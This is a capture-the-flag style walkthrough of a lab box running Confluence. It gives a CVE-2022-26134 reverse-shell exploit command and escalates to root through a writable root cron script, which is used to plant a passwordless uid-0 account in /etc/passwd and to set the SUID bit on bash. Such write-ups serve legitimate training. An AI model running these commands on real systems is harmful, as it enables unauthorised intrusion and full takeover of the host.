Flu_flow

Recon

TCP Scan

nmap -sCV -oN scans/tcp.nmap $IP
nmap -sCV -oN scans/tcp.nmap $IP
Starting Nmap 7.99 ( https://nmap.org ) at 2026-06-24 12:39 +0800
Nmap scan report for 192.168.198.41
Host is up (0.0086s latency).
Not shown: 998 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.0p1 Ubuntu 1ubuntu8.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 02:79:64:84:da:12:97:23:77:8a:3a:60:20:96:ee:cf (ECDSA)
|_  256 dd:49:a3:89:d7:57:ca:92:f0:6c:fe:59:a6:24:cc:87 (ED25519)
8090/tcp open  http    Apache Tomcat (language: en)
| http-title: Log In - Confluence
|_Requested resource was /login.action?os_destination=%2Findex.action&permissionViolation=true
|_http-trane-info: Problem with XML parsing of /evox/about
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.26 seconds

UDP Scan (Top 20)

sudo nmap -sU --top-ports 20 -oN scans/udp.nmap $IP
sudo nmap -sU --top-ports 20 -oN scans/udp.nmap $IP
[sudo] password for hans:
Starting Nmap 7.99 ( https://nmap.org ) at 2026-06-24 12:39 +0800
Nmap scan report for 192.168.198.41
Host is up (0.0088s latency).

PORT      STATE  SERVICE
53/udp    closed domain
67/udp    closed dhcps
68/udp    closed dhcpc
69/udp    closed tftp
123/udp   closed ntp
135/udp   closed msrpc
137/udp   closed netbios-ns
138/udp   closed netbios-dgm
139/udp   closed netbios-ssn
161/udp   closed snmp
162/udp   closed snmptrap
445/udp   closed microsoft-ds
500/udp   closed isakmp
514/udp   closed syslog
520/udp   closed route
631/udp   closed ipp
1434/udp  closed ms-sql-m
1900/udp  closed upnp
4500/udp  closed nat-t-ike
49152/udp closed unknown

Nmap done: 1 IP address (1 host up) scanned in 19.11 seconds

Service Enumeration

Web

Main Page

http://192.168.198.41:8090/login.action?os_destination=%2Findex.action&permissionViolation=true

Googlefu

https://github.com/jbaines-r7/through_the_wire

┌──(hans㉿KaliKatak)-[~/…/Hax/Practice/PGPractice/Flu]
└─$ git clone https://github.com/jbaines-r7/through_the_wire
Cloning into 'through_the_wire'...
remote: Enumerating objects: 25, done.
remote: Counting objects: 100% (25/25), done.
remote: Compressing objects: 100% (22/22), done.
remote: Total 25 (delta 12), reused 8 (delta 3), pack-reused 0 (from 0)
Receiving objects: 100% (25/25), 11.17 KiB | 1.12 MiB/s, done.
Resolving deltas: 100% (12/12), done.

┌──(hans㉿KaliKatak)-[~/…/Hax/Practice/PGPractice/Flu]
└─$ cd through_the_wire

┌──(hans㉿KaliKatak)-[~/…/Practice/PGPractice/Flu/through_the_wire]
└─$ chmod +x through_the_wire.py

┌──(hans㉿KaliKatak)-[~/…/Practice/PGPractice/Flu/through_the_wire]
└─$ python3 through_the_wire.py -h
   _____ _                           _
  /__   \ |__  _ __ ___  _   _  __ _| |__
    / /\/ '_ \| '__/ _ \| | | |/ _` | '_ \
   / /  | | | | | | (_) | |_| | (_| | | | |
   \/   |_| |_|_|  \___/ \__,_|\__, |_| |_|
                               |___/
   _____ _            __    __ _
  /__   \ |__   ___  / / /\ \ (_)_ __ ___
    / /\/ '_ \ / _ \ \ \/  \/ / | '__/ _ \
   / /  | | | |  __/  \  /\  /| | | |  __/
   \/   |_| |_|\___|   \/  \/ |_|_|  \___|

                 jbaines-r7
               CVE-2022-26134
      "Spit my soul through the wire"
                     🦞

usage: through_the_wire.py [-h] --rhost RHOST [--rport RPORT] --lhost LHOST [--lport LPORT] [--protocol PROTOCOL] [--reverse-shell] [--fork-nc] [--nc-path NCPATH] [--read-file READ_FILE]

Atlassian Confluence Server exploit (CVE-2022-26134)

options:
  -h, --help            show this help message and exit
  --rhost RHOST         The remote address to exploit
  --rport RPORT         The remote port to exploit
  --lhost LHOST         The local address to connect back to
  --lport LPORT         The local port to connect back to
  --protocol PROTOCOL   The protocol handler to use
  --reverse-shell       Execute a bash shell
  --fork-nc             Directs the program to start an nc listener
  --nc-path NCPATH      The path to nc
  --read-file READ_FILE
                        From memory, read the provided file

Foothold

Shell

Simply by running the script with the proper arguments will give us a shell:

python3 through_the_wire.py --rhost 192.168.198.41 --rport 8090 --lhost 192.168.45.232 --lport 1234 --protocol http:// --reverse-shell

We immediately stablise our shell.

confluence@flu:/opt/atlassian/confluence/bin$ python3 -c 'import pty;pty.spawn("/bin/bash")'
<bin$ python3 -c 'import pty;pty.spawn("/bin/bash")'
confluence@flu:/opt/atlassian/confluence/bin$ ^Z
zsh: suspended  python3 through_the_wire.py --rhost 192.168.198.41 --rport 8090 --lhost   123

┌──(hans㉿KaliKatak)-[~/…/Practice/PGPractice/Flu/through_the_wire]
└─$ stty raw -echo; fg
[1]  + continued  python3 through_the_wire.py --rhost 192.168.198.41 --rport 8090 --lhost   123

confluence@flu:/opt/atlassian/confluence/bin$ export TERM=xterm
confluence@flu:/opt/atlassian/confluence/bin$

user flag

confluence@flu:/opt/atlassian/confluence/bin$ cd /home
confluence@flu:/home$ ls -al
total 12
drwxr-xr-x  3 root       root       4096 Dec 12  2023 .
drwxr-xr-x 19 root       root       4096 Dec 12  2023 ..
drwxr-xr-x  4 confluence confluence 4096 Aug  2  2024 confluence
confluence@flu:/home$ cd confluence/
confluence@flu:/home/confluence$ whoami && hostname && cat local.txt
confluence
flu
d2c488f9d0432502a919def66b6990c1

Privilege Escalation

Low-Hanging Fruits

Linux

#sudo -l
need password for user, confluence
cat /etc/crontab
#cat /etc/crontab
default
crontab -l
#crontab -l
no crontab for confluence
ls -la /etc/cron.*
#ls -la /etc/cron.*
confluence@flu:/home/confluence$ ls -al /etc/cron.*
/etc/cron.d:
total 16
drwxr-xr-x   2 root root 4096 Apr 15  2023 .
drwxr-xr-x 101 root root 4096 Dec 12  2023 ..
-rw-r--r--   1 root root  201 Feb 17  2023 e2scrub_all
-rw-r--r--   1 root root  102 Nov 23  2022 .placeholder

/etc/cron.daily:
total 32
drwxr-xr-x   2 root root 4096 Apr 15  2023 .
drwxr-xr-x 101 root root 4096 Dec 12  2023 ..
-rwxr-xr-x   1 root root  376 Apr 13  2023 apport
-rwxr-xr-x   1 root root 1478 Mar  6  2023 apt-compat
-rwxr-xr-x   1 root root  123 Feb 24  2023 dpkg
-rwxr-xr-x   1 root root  377 Dec 14  2022 logrotate
-rwxr-xr-x   1 root root 1395 Jan  8  2023 man-db
-rw-r--r--   1 root root  102 Nov 23  2022 .placeholder

/etc/cron.hourly:
total 12
drwxr-xr-x   2 root root 4096 Apr 15  2023 .
drwxr-xr-x 101 root root 4096 Dec 12  2023 ..
-rw-r--r--   1 root root  102 Nov 23  2022 .placeholder

/etc/cron.monthly:
total 12
drwxr-xr-x   2 root root 4096 Apr 15  2023 .
drwxr-xr-x 101 root root 4096 Dec 12  2023 ..
-rw-r--r--   1 root root  102 Nov 23  2022 .placeholder

/etc/cron.weekly:
total 16
drwxr-xr-x   2 root root 4096 Apr 15  2023 .
drwxr-xr-x 101 root root 4096 Dec 12  2023 ..
-rwxr-xr-x   1 root root 1055 Jan  8  2023 man-db
-rw-r--r--   1 root root  102 Nov 23  2022 .placeholder
find / -perm -4000 -type f 2>/dev/null
#find / -perm -4000 -type f 2>/dev/null
confluence@flu:/home/confluence$ find / -perm -4000 -type f 2>/dev/null
/usr/lib/snapd/snap-confine
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/bin/gpasswd
/usr/bin/chfn
/usr/bin/mount
/usr/bin/su
/usr/bin/umount
/usr/bin/chsh
/usr/bin/newgrp
/usr/bin/fusermount3
/usr/bin/sudo
/usr/bin/passwd
/usr/libexec/polkit-agent-helper-1
/snap/snapd/18596/usr/lib/snapd/snap-confine
/snap/core22/607/usr/bin/chfn
/snap/core22/607/usr/bin/chsh
/snap/core22/607/usr/bin/gpasswd
/snap/core22/607/usr/bin/mount
/snap/core22/607/usr/bin/newgrp
/snap/core22/607/usr/bin/passwd
/snap/core22/607/usr/bin/su
/snap/core22/607/usr/bin/sudo
/snap/core22/607/usr/bin/umount
/snap/core22/607/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core22/607/usr/lib/openssh/ssh-keysign
ss -tlnp
netstat -tlnp
#ss -tlnp or netstat -tlnp
confluence@flu:/home/confluence$ ss -tlnp
State  Recv-Q Send-Q      Local Address:Port  Peer Address:PortProcess
LISTEN 0      70              127.0.0.1:33060      0.0.0.0:*
LISTEN 0      151             127.0.0.1:3306       0.0.0.0:*
LISTEN 0      4096           127.0.0.54:53         0.0.0.0:*
LISTEN 0      4096        127.0.0.53%lo:53         0.0.0.0:*
LISTEN 0      10                      *:8090             *:*    users:(("java",pid=1123,fd=44))
LISTEN 0      1024                    *:8091             *:*    users:(("java",pid=1420,fd=21))
LISTEN 0      4096                    *:22               *:*
LISTEN 0      1      [::ffff:127.0.0.1]:8000             *:*    users:(("java",pid=1123,fd=77))
cat /etc/passwd | grep sh$
#cat /etc/passwd | grep sh$
confluence@flu:/home/confluence$ cat /etc/passwd | grep sh$
root:x:0:0:root:/root:/bin/bash
confluence:x:1001:1001:Atlassian Confluence:/home/confluence:/bin/sh
confluence@flu:/home/confluence$ ls -al /home
total 12
drwxr-xr-x  3 root       root       4096 Dec 12  2023 .
drwxr-xr-x 19 root       root       4096 Dec 12  2023 ..
drwxr-xr-x  4 confluence confluence 4096 Aug  2  2024 confluence
confluence@flu:/home/confluence$ ls -al /home/confluence/
total 24
drwxr-xr-x 4 confluence confluence 4096 Aug  2  2024 .
drwxr-xr-x 3 root       root       4096 Dec 12  2023 ..
-rw------- 1 confluence confluence   16 Dec 12  2023 .bash_history
drwxr-x--- 3 confluence confluence 4096 Aug  2  2024 .cache
drwxr-x--- 3 confluence confluence 4096 Aug  2  2024 .java
-rw-r--r-- 1 confluence confluence   33 Jun 24 04:36 local.txt
cat ~/.bash_history
#cat .bash_history
Confluence@flu:/home/confluence$ cat .bash_history
cd
ls -alh
exit
ls -al /var/www/ /opt/ /var/backups/
#ls -al /var/www/ /opt/ /var/backups/
confluence@flu:/home/confluence$ ls -al /var/www/ /opt/ /var/backups/
ls: cannot access '/var/www/': No such file or directory
/opt/:
total 756692
drwxr-xr-x  3 root       root            4096 Dec 12  2023 .
drwxr-xr-x 19 root       root            4096 Dec 12  2023 ..
drwxr-xr-x  3 root       root            4096 Dec 12  2023 atlassian
-rwxr-xr-x  1 root       root       774829955 Dec 12  2023 atlassian-confluence-7.13.6-x64.bin
-rwxr-xr-x  1 confluence confluence       408 Dec 12  2023 log-backup.sh

/var/backups/:
total 756
drwxr-xr-x  2 root root   4096 Jun 24 04:44 .
drwxr-xr-x 14 root root   4096 Dec 12  2023 ..
-rw-r--r--  1 root root  51200 Jun 24 04:35 alternatives.tar.0
-rw-r--r--  1 root root  38981 Dec 12  2023 apt.extended_states.0
-rw-r--r--  1 root root      0 Jun 24 04:35 dpkg.arch.0
-rw-r--r--  1 root root    268 Dec 12  2023 dpkg.diversions.0
-rw-r--r--  1 root root    100 Apr 15  2023 dpkg.statoverride.0
-rw-r--r--  1 root root 659872 Dec 12  2023 dpkg.status.0

Confluence Backups

confluence@flu:/home/confluence$ cat /opt/log-backup.sh
#!/bin/bash

CONFLUENCE_HOME="/opt/atlassian/confluence/"
LOG_DIR="$CONFLUENCE_HOME/logs"
BACKUP_DIR="/root/backup"
TIMESTAMP=$(date "+%Y%m%d%H%M%S")

# Create a backup of log files
cp -r $LOG_DIR $BACKUP_DIR/log_backup_$TIMESTAMP

tar -czf $BACKUP_DIR/log_backup_$TIMESTAMP.tar.gz $BACKUP_DIR/log_backup_$TIMESTAMP

# Cleanup old backups
find $BACKUP_DIR -name "log_backup_*"  -mmin +5 -exec rm -rf {} \;
confluence@flu:/home/confluence$ ls -al /opt/log-backup.sh
-rwxr-xr-x 1 confluence confluence 408 Dec 12  2023 /opt/log-backup.sh

The script is owned by confluence but it copies logs to the root folder where only the root user has access. This means the script is always run as root.

Write as root

Tried modifying the script to write a file in /tmp folder as root by adding an a simple echo to file:

confluence@flu:/home/confluence$ cat /opt/log-backup.sh
#!/bin/bash

CONFLUENCE_HOME="/opt/atlassian/confluence/"
LOG_DIR="$CONFLUENCE_HOME/logs"
BACKUP_DIR="/root/backup"
TIMESTAMP=$(date "+%Y%m%d%H%M%S")

# Create a backup of log files
cp -r $LOG_DIR $BACKUP_DIR/log_backup_$TIMESTAMP

tar -czf $BACKUP_DIR/log_backup_$TIMESTAMP.tar.gz $BACKUP_DIR/log_backup_$TIMESTAMP

# Cleanup old backups
find $BACKUP_DIR -name "log_backup_*"  -mmin +5 -exec rm -rf {} \;

echo 'hello' > /tmp/test

The file was indeed written as root:

confluence@flu:/home/confluence$ ls -al /tmp/test
-rw-r--r-- 1 root root 6 Jun 24 05:40 /tmp/test
confluence@flu:/home/confluence$ cat /tmp/test
hello

Write /etc/passwd

confluence@flu:/home/confluence$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
systemd-timesync:x:997:997:systemd Time Synchronization:/:/usr/sbin/nologin
messagebus:x:100:106::/nonexistent:/usr/sbin/nologin
systemd-resolve:x:996:996:systemd Resolver:/:/usr/sbin/nologin
pollinate:x:101:1::/var/cache/pollinate:/bin/false
sshd:x:102:65534::/run/sshd:/usr/sbin/nologin
syslog:x:103:109::/nonexistent:/usr/sbin/nologin
uuidd:x:104:110::/run/uuidd:/usr/sbin/nologin
tcpdump:x:105:111::/nonexistent:/usr/sbin/nologin
tss:x:106:112:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:107:113::/var/lib/landscape:/usr/sbin/nologin
fwupd-refresh:x:108:114:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false
mysql:x:109:115:MySQL Server,,,:/nonexistent:/bin/false
confluence:x:1001:1001:Atlassian Confluence:/home/confluence:/bin/sh

Command to write /etc/passwd with user hacker with uid 0:

echo 'root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
systemd-timesync:x:997:997:systemd Time Synchronization:/:/usr/sbin/nologin
messagebus:x:100:106::/nonexistent:/usr/sbin/nologin
systemd-resolve:x:996:996:systemd Resolver:/:/usr/sbin/nologin
pollinate:x:101:1::/var/cache/pollinate:/bin/false
sshd:x:102:65534::/run/sshd:/usr/sbin/nologin
syslog:x:103:109::/nonexistent:/usr/sbin/nologin
uuidd:x:104:110::/run/uuidd:/usr/sbin/nologin
tcpdump:x:105:111::/nonexistent:/usr/sbin/nologin
tss:x:106:112:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:107:113::/var/lib/landscape:/usr/sbin/nologin
fwupd-refresh:x:108:114:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false
mysql:x:109:115:MySQL Server,,,:/nonexistent:/bin/false
confluence:x:1001:1001:Atlassian Confluence:/home/confluence:/bin/sh
hacker::0:0::/root:/bin/sh' > /tmp/testpasswd

After a short while, /tmp/testpasswd appears:

confluence@flu:/home/confluence$ cat /tmp/testpasswd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
systemd-timesync:x:997:997:systemd Time Synchronization:/:/usr/sbin/nologin
messagebus:x:100:106::/nonexistent:/usr/sbin/nologin
systemd-resolve:x:996:996:systemd Resolver:/:/usr/sbin/nologin
pollinate:x:101:1::/var/cache/pollinate:/bin/false
sshd:x:102:65534::/run/sshd:/usr/sbin/nologin
syslog:x:103:109::/nonexistent:/usr/sbin/nologin
uuidd:x:104:110::/run/uuidd:/usr/sbin/nologin
tcpdump:x:105:111::/nonexistent:/usr/sbin/nologin
tss:x:106:112:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:107:113::/var/lib/landscape:/usr/sbin/nologin
fwupd-refresh:x:108:114:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false
mysql:x:109:115:MySQL Server,,,:/nonexistent:/bin/false
confluence:x:1001:1001:Atlassian Confluence:/home/confluence:/bin/sh
hacker::0:0::/root:/bin/sh

After changing the output file, we just need to wait a while and then switch to hacker:

confluence@flu:/home/confluence$ ls -al /etc/passwd
-rw-r--r-- 1 root root 1717 Dec 12  2023 /etc/passwd
confluence@flu:/home/confluence$ ls -al /etc/passwd
-rw-r--r-- 1 root root 1744 Jun 24 05:52 /etc/passwd
confluence@flu:/home/confluence$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
systemd-timesync:x:997:997:systemd Time Synchronization:/:/usr/sbin/nologin
messagebus:x:100:106::/nonexistent:/usr/sbin/nologin
systemd-resolve:x:996:996:systemd Resolver:/:/usr/sbin/nologin
pollinate:x:101:1::/var/cache/pollinate:/bin/false
sshd:x:102:65534::/run/sshd:/usr/sbin/nologin
syslog:x:103:109::/nonexistent:/usr/sbin/nologin
uuidd:x:104:110::/run/uuidd:/usr/sbin/nologin
tcpdump:x:105:111::/nonexistent:/usr/sbin/nologin
tss:x:106:112:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:107:113::/var/lib/landscape:/usr/sbin/nologin
fwupd-refresh:x:108:114:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false
mysql:x:109:115:MySQL Server,,,:/nonexistent:/bin/false
confluence:x:1001:1001:Atlassian Confluence:/home/confluence:/bin/sh
hacker::0:0::/root:/bin/sh
confluence@flu:/home/confluence$ su - hacker
# whoami && hostname && cat /root/proof.txt
root
flu
416bbf7a71213f91d43f5b04362f4090

Bonus - add SUID bit to /bin/bash

This can also be done to gain root.

Modify script by adding command to add the SUID bit to /bin/bash:

chmod u+s /bin/bash

Verify:

confluence@flu:/home/confluence$ ls -al /bin/bash
-rwxr-xr-x 1 root root 1437832 Jan  7  2023 /bin/bash
confluence@flu:/home/confluence$ ls -al /bin/bash
-rwsr-xr-x 1 root root 1437832 Jan  7  2023 /bin/bash

Profit:

confluence@flu:/home/confluence$ bash -p
bash-5.2# whoami && hostname && cat /root/proof.txt
root
flu
416bbf7a71213f91d43f5b04362f4090